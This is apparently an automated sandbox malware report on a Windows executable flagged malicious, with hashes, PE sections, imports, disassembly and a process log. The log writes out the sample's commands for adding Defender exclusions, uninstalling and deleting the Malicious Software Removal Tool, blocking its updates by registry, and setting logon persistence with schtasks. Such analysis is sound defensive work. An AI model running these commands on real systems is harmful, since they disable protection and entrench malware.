SHA-512:	DF89E7F6D30BFE1502EA75933CEFAB49889662413EBA62249251A78B8B8A8505865A53787D887283FA218DA1D2BEFCFCF4D4F56EED3F458AF0E2DE2762FBD9EA
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f..........".......!.........G ........@..........................................`..................................................e..\|..............tm...............i...d......................0=..(...p..8............n..p............................text.....!.......!................. ..`.rdata.......!......!.............@..@.data...P..........................@....pdata..tm......n..................@..@.gfids.......`......."..............@..@.tls.........p.......$..............@....voltbl.............&.................._RDATA...............(..............@..@.reloc...i.......j.................@..B................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.998781074062823
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe
File size:	30'441'984 bytes
MD5:	330709f05491b4e01ddf2af087d4e4f3
SHA1:	0f94e0f3f7ef87df645847f84a94572192f5fc39
SHA256:	3fa9bb2dffef3935ed2795dace89eec65270bd22a71e365ec1f55e0bf301fab5
SHA512:	a6711690ff220954737edc2b4d67177ca546b5a63ab3aec9ed18bfc545c81b379b3ed15c30e2abaa0d7b1ed7fc2a975468b14fc9ee57419f596a285312771170
SSDEEP:	786432:RQ3GVQWdr9hPRfORj1ThiEKjnQ9+6P/+BGfO2rtq8qD9RMo:RQWVQW9pfORj1diE+76n+oW4q8qhRM
TLSH:	4667330BF95284B8E026E4748669B622E7757C695B70B8EB17D18B312E2C7F1673DF00
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......x.....................@..........................................`........................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x1400485a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FEF42E [Thu Oct 3 19:44:46 2024 UTC]
TLS Callbacks:	0x4002db50, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	1d294a89dfa5cccc79f25d6bb7b51ae4

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F3C08BB3C70h
dec eax
add esp, 28h
jmp 00007F3C08BB3887h
int3
int3
dec eax
sub esp, 28h
call 00007F3C08BB3A24h
dec eax
neg eax
sbb eax, eax
neg eax
dec eax
dec eax
add esp, 28h
ret
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
cmp dword ptr [01CBE426h], FFFFFFFFh
dec eax
mov ebx, ecx
jne 00007F3C08BB3A19h
call 00007F3C08BB57E5h
jmp 00007F3C08BB3A21h
dec eax
mov edx, ebx
dec eax
lea ecx, dword ptr [01CBE410h]
call 00007F3C08BB5750h
xor edx, edx
test eax, eax
dec eax
cmove edx, ebx
dec eax
mov eax, edx
dec eax
add esp, 20h
pop ebx
ret
int3
int3
dec eax
sub esp, 18h
dec esp
mov eax, ecx
mov eax, 00005A4Dh
cmp word ptr [FFFB79E5h], ax
jne 00007F3C08BB3A8Ah
dec eax
arpl word ptr [FFFB7A18h], cx
dec eax
lea edx, dword ptr [FFFB79D5h]
dec eax
add ecx, edx
cmp dword ptr [ecx], 00004550h
jne 00007F3C08BB3A71h
mov eax, 0000020Bh
cmp word ptr [ecx+18h], ax
jne 00007F3C08BB3A66h
dec esp
sub eax, edx
movzx eax, word ptr [ecx+14h]
dec eax
lea edx, dword ptr [ecx+18h]
dec eax
add edx, eax
movzx eax, word ptr [ecx+06h]
dec eax
lea ecx, dword ptr [eax+eax*4]
dec esp
lea ecx, dword ptr [edx+ecx*8]
dec eax
mov dword ptr [esp], edx
dec ecx
cmp edx, ecx
je 00007F3C08BB3A2Ah
mov ecx, dword ptr [edx+0Ch]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1d02d60	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d08000	0x1b90	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1d0e000	0x714	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1d02c50	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1d004d0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1cfb800	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1d033e8	0x570	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x57606	0x57800	a148eb2eada577f138089074ba679c53	False	0.5214313616071429	data	6.446985068319904	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x59000	0x1caceac	0x1cad000	c05283bf5f37013c9f8c660f4159f1a5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1d06000	0x1b80	0xa00	9430d65459707b6855176bd55563116c	False	0.144140625	, Bytes/sector 320, FATs 117, root entries 152, sectors 65280 (volumes <=32 MB), Media descriptor 0xff, sectors/FAT 65535, sectors/track 1, FAT (12 bit by descriptor)	1.883377243480109	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1d08000	0x1b90	0x1c00	801134451f2c3d12792668ccff527ed4	False	0.5108816964285714	data	5.766895627047478	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gfids	0x1d0a000	0x80	0x200	0fb07c8c886b6b01886b64ea41e002ae	False	0.22265625	data	1.5017207702579478	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x1d0b000	0xa1	0x200	2b3aead56f8cd1ad5cf40bdff60fc742	False	0.037109375	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.voltbl	0x1d0c000	0x2a	0x200	eae09b4822d39f484dfe9175c88bb635	False	0.107421875	data	0.7001115316230119
_RDATA	0x1d0d000	0xf4	0x200	96efb7e86d989761b7ebd5296750dfbb	False	0.314453125	data	2.467690348409367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1d0e000	0x714	0x800	bffe6399af6e1c1832ce455184c13d1b	False	0.55517578125	data	5.202617635946286	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	AddVectoredExceptionHandler, CheckRemoteDebuggerPresent, CloseHandle, CompareStringOrdinal, CompareStringW, CreateDirectoryW, CreateFileW, CreateNamedPipeW, CreateProcessW, CreateThread, CreateWaitableTimerExW, DeleteCriticalSection, DeleteProcThreadAttributeList, DuplicateHandle, EnterCriticalSection, ExitProcess, FindClose, FindFirstFileExA, FindFirstFileW, FindNextFileA, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetComputerNameExW, GetConsoleCP, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetEnvironmentVariableW, GetExitCodeProcess, GetFileAttributesW, GetFileInformationByHandle, GetFileInformationByHandleEx, GetFileType, GetFullPathNameW, GetLastError, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetProcessIoCounters, GetProcessTimes, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemDirectoryW, GetSystemInfo, GetSystemTimeAsFileTime, GetSystemTimePreciseAsFileTime, GetSystemTimes, GetTickCount64, GetWindowsDirectoryW, GlobalMemoryStatusEx, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeProcThreadAttributeList, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, K32GetPerformanceInfo, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, LocalFree, MultiByteToWideChar, OpenProcess, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, ReadFileEx, ReadProcessMemory, RtlCaptureContext, RtlLookupFunctionEntry, RtlUnwindEx, RtlVirtualUnwind, SetEnvironmentVariableA, SetFileInformationByHandle, SetFilePointerEx, SetLastError, SetStdHandle, SetThreadExecutionState, SetThreadStackGuarantee, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SleepEx, SwitchToThread, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, UpdateProcThreadAttribute, VirtualQueryEx, WaitForSingleObject, WideCharToMultiByte, WriteConsoleW, WriteFile, WriteFileEx
bcryptprimitives.dll	ProcessPrng
api-ms-win-core-synch-l1-2-0.dll	WaitOnAddress, WakeByAddressAll, WakeByAddressSingle
ntdll.dll	NtQueryInformationProcess, NtQuerySystemInformation, NtWriteFile, RtlGetVersion, RtlNtStatusToDosError
ADVAPI32.dll	CopySid, GetLengthSid, GetTokenInformation, IsValidSid, OpenProcessToken, RegCloseKey, RegCreateKeyExW, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, SystemFunction036
bcrypt.dll	BCryptGenRandom
powrprof.dll	CallNtPowerInformation
ole32.dll	CoCreateInstance, CoInitializeEx, CoInitializeSecurity, CoSetProxyBlanket, PropVariantClear
shell32.dll	CommandLineToArgvW, ShellExecuteExW
oleaut32.dll	GetErrorInfo, SafeArrayAccessData, SafeArrayDestroy, SafeArrayUnaccessData, SysAllocStringLen, SysFreeString, SysStringLen, VariantClear
psapi.dll	GetModuleFileNameExW
pdh.dll	PdhAddEnglishCounterW, PdhCloseQuery, PdhCollectQueryData, PdhGetFormattedCounterValue, PdhOpenQueryA, PdhRemoveCounter
propsys.dll	PropVariantToBSTR, VariantToPropVariant

Target ID:	5
Start time:	12:13:56
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe"
Imagebase:	0x7ff609900000
File size:	30'441'984 bytes
MD5 hash:	330709F05491B4E01DDF2AF087D4E4F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:14:59
Start date:	27/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force"
Imagebase:	0x7ff649db0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:14:59
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77c580000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:15:00
Start date:	27/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7ff000000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	12:15:04
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c "wusa /uninstall /kb:890830 /quiet /norestart"
Imagebase:	0x7ff7bf9d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:15:04
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77c580000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:15:04
Start date:	27/10/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff773500000
File size:	316'416 bytes
MD5 hash:	E43499EE2B4CF328A81BACE9B1644C5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:15:05
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c "del /f /q %SystemRoot%\System32\MRT.exe"
Imagebase:	0x7ff7bf9d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:15:05
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77c580000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:15:05
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c "reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f"
Imagebase:	0x7ff7bf9d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:15:05
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77c580000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:15:05
Start date:	27/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f
Imagebase:	0x7ff7a3220000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:15:36
Start date:	27/10/2024
Path:	C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe"
Imagebase:	0x7ff684a80000
File size:	706'740'224 bytes
MD5 hash:	43D7DA08F086122E16773B9002C05B1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	12:15:42
Start date:	27/10/2024
Path:	C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe"
Imagebase:	0x7ff6d9cf0000
File size:	706'740'224 bytes
MD5 hash:	B22A88CB0DDC70FA01E392173505458C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	12:15:52
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c "schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest"
Imagebase:	0x7ff7bf9d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:15:52
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77c580000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:15:52
Start date:	27/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest
Imagebase:	0x7ff752230000
File size:	235'008 bytes
MD5 hash:	796B784E98008854C27F4B18D287BA30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF8490639D1 Relevance: 6.6, Strings: 4, Instructions: 1568COMMON

Download Yara Rule

Strings

p>*I, xrefs: 00007FF8490644FE
8>*I, xrefs: 00007FF849064251
p>*I, xrefs: 00007FF8490643ED
8>*I, xrefs: 00007FF84906413A

Memory Dump Source

Source File: 0000000C.00000002.1971990635.00007FF849060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849060000_powershell.jbxd

Similarity

API ID:
String ID: 8>*I$8>*I$p>*I$p>*I
API String ID: 0-800015961
Opcode ID: 3d72eb99f8a5273db3e455b8f8f20711e1fdf2f3bcdbaf5c7c31c987d3442375
Instruction ID: f20b25f71b12f75b53b8b0fcac037670822b7ad50676efd7103a175338fe35f4
Opcode Fuzzy Hash: 3d72eb99f8a5273db3e455b8f8f20711e1fdf2f3bcdbaf5c7c31c987d3442375
Instruction Fuzzy Hash: 0DA2E532E0EBC94FEBA6EB2858555B53BE1EF56650B0901FBD08DC71D3DA18EC068391

Function 00007FF849066605 Relevance: 6.7, Strings: 5, Instructions: 438COMMON

Download Yara Rule

Strings

(B*I, xrefs: 00007FF849066974
(B*I, xrefs: 00007FF8490667C3
(B*I, xrefs: 00007FF849066858
(B*I, xrefs: 00007FF84906678C
(B*I, xrefs: 00007FF8490666ED

Memory Dump Source

Source File: 0000000C.00000002.1971990635.00007FF849060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849060000_powershell.jbxd

Similarity

API ID:
String ID: (B*I$(B*I$(B*I$(B*I$(B*I
API String ID: 0-1992143504
Opcode ID: 149d021a74901ce7b48df98dbd4fbcf4e0ab1c437c0f8c74f2987f571413ceec
Instruction ID: efc29ac3303a3e689e437000d5490d5f7bdf1bcd723dd8c1c624b17f7e7b7174
Opcode Fuzzy Hash: 149d021a74901ce7b48df98dbd4fbcf4e0ab1c437c0f8c74f2987f571413ceec
Instruction Fuzzy Hash: E4D11132D0DACA5FEBA5EB28A8255B57BE0EF16754F0801FAD44DCB193DA18EC05C351

Function 00007FF8490640BF Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

8>*I, xrefs: 00007FF84906413A

Memory Dump Source

Source File: 0000000C.00000002.1971990635.00007FF849060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849060000_powershell.jbxd

Similarity

API ID:
String ID: 8>*I
API String ID: 0-1514533588
Opcode ID: d1bb4004cd7632809a44b39d1cd1eecaa16d886aa0f9ac03d5ba4db8c4e2b33d
Instruction ID: cd99fb316fff8499732f31bd674f2ef3230e1268a865e43b5442d1ff7f28ce08
Opcode Fuzzy Hash: d1bb4004cd7632809a44b39d1cd1eecaa16d886aa0f9ac03d5ba4db8c4e2b33d
Instruction Fuzzy Hash: 9B21B432D0EAC74FEBB9EF1894551B536D5EF54790B5900BAC10ECB2A6CF28DC458345

Function 00007FF8490643BC Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

p>*I, xrefs: 00007FF8490643ED

Memory Dump Source

Source File: 0000000C.00000002.1971990635.00007FF849060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849060000_powershell.jbxd

Similarity

API ID:
String ID: p>*I
API String ID: 0-82149894
Opcode ID: 1f094d671669538fd5a16fe2e8441cef664e7a71c3dcd77dead61f24ae5b5f80
Instruction ID: 44df96ce70c21084038f5a3f7a4578bee873150868da508d2eb7bddc6e6ef62d
Opcode Fuzzy Hash: 1f094d671669538fd5a16fe2e8441cef664e7a71c3dcd77dead61f24ae5b5f80
Instruction Fuzzy Hash: DE11A132E0E5964FEBB5EE28A4556B876D1FF44660B4900BAD10DC7196DB19EC048381

Function 00007FF848F9A063 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1971139361.00007FF848F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f11518eb46e3bb01f9a72f5d88b5378558248a9fff35abd961899f1b51f3de9
Instruction ID: 2a873a5d17833f60e91e98cad8bd5b54ae8c73121975c7045ee19d6978b43609
Opcode Fuzzy Hash: 6f11518eb46e3bb01f9a72f5d88b5378558248a9fff35abd961899f1b51f3de9
Instruction Fuzzy Hash: 6C51C877C0E6A25FE705F72CB8960E57BB0EF51B79F0800B7D188890D3FE15548986A9

Function 00007FF848F99828 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1971139361.00007FF848F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 045a9388db515c7c1e033fb28384c07764396423c8bf90aac9db4b037c42a037
Instruction ID: e3e7c391c9ee803f11b6e58889311d260b62eaf01c4f39faebf5d75b2d0272ad
Opcode Fuzzy Hash: 045a9388db515c7c1e033fb28384c07764396423c8bf90aac9db4b037c42a037
Instruction Fuzzy Hash: 29411531D0CB888FDB1DDF5CA8066B87BE1FBA5710F54416FE04993296DB34A8458BC6

Function 00007FF848E7ED40 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1970305666.00007FF848E7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848e7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 854ce2b24cf862023182d24dcf15740dbb483248795f034a6c754cdf46f8981f
Instruction ID: ecd9a4fa2d44933af94462a129f7f7e23ee137908712ce268a132982c6082009
Opcode Fuzzy Hash: 854ce2b24cf862023182d24dcf15740dbb483248795f034a6c754cdf46f8981f
Instruction Fuzzy Hash: E141137180DBC44FE7569B389851A523FF0FF57260F1905EFD088CB1A3D629A846C7A2

Function 00007FF848F9A57C Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1971139361.00007FF848F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d479e56364bcb82c442fff5e51b92cbd888f55360e00884193ad55433306129
Instruction ID: f9c8c188de439da55e320f5393394897ca9bd650871657a69b6ee6f473797b99
Opcode Fuzzy Hash: 2d479e56364bcb82c442fff5e51b92cbd888f55360e00884193ad55433306129
Instruction Fuzzy Hash: 1C21283090CB4C4FDB59DF6C984A7E97FF1EB96321F04416BD448C7192DA74984ACB91

Function 00007FF848F933A5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1971139361.00007FF848F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad7c804d55132176d47c9a47c1d29a8c79bb6f340434ec7a1e581545207b668
Instruction ID: 6beb74dc895f3fd00ddff5e0030386769ed0dbea1a55b7aa1b19076df5da42ea
Opcode Fuzzy Hash: 3ad7c804d55132176d47c9a47c1d29a8c79bb6f340434ec7a1e581545207b668
Instruction Fuzzy Hash: A201447115CB0C4FD748EF0CE451AA5B7E0FB95364F10056DE58AC36A1DB26E881CB46

Non-executed Functions

Function 00007FF8490630E9 Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1971990635.00007FF849060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94266cd24bb6749ef5fe1520a8d398ef198cc82dc0622d2d83b04e6198ad1287
Instruction ID: c23ae7842803eb9e804299e0dc225d24715d429589947634f35a0ee68ece2fbc
Opcode Fuzzy Hash: 94266cd24bb6749ef5fe1520a8d398ef198cc82dc0622d2d83b04e6198ad1287
Instruction Fuzzy Hash: 9F12E522E0DBC64FEBA6EA2868552B57BE1EF56750B0901FBC44DC7193DE18EC078391

Function 00007FF848F985AD Relevance: 7.7, Strings: 6, Instructions: 224COMMON

Download Yara Rule

Strings

R_^, xrefs: 00007FF848F9869A
R_^, xrefs: 00007FF848F985DA
R_^, xrefs: 00007FF848F986D2
R_^, xrefs: 00007FF848F98639
R_^, xrefs: 00007FF848F9859A
R_^, xrefs: 00007FF848F986E2

Memory Dump Source

Source File: 0000000C.00000002.1971139361.00007FF848F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f90000_powershell.jbxd

Similarity

API ID:
String ID: R_^$R_^$R_^$R_^$R_^$R_^
API String ID: 0-3010980321
Opcode ID: 3cc4658fed73f4b33b0f7e1554f82cd61466ba99eca22c7f70c36ec6efd9f37c
Instruction ID: 437abbfc05b66f620a6e3d7daaa3f22bb078e18905d4fb42e0cf19fddc2f0fda
Opcode Fuzzy Hash: 3cc4658fed73f4b33b0f7e1554f82cd61466ba99eca22c7f70c36ec6efd9f37c
Instruction Fuzzy Hash: DA61D8B3D1DAD24FE31A5B3858650E16F90EF62769B4E00BAC0DD4B0D3FE156C0A8B15

Function 00007FF848F98762 Relevance: 5.1, Strings: 4, Instructions: 89COMMON

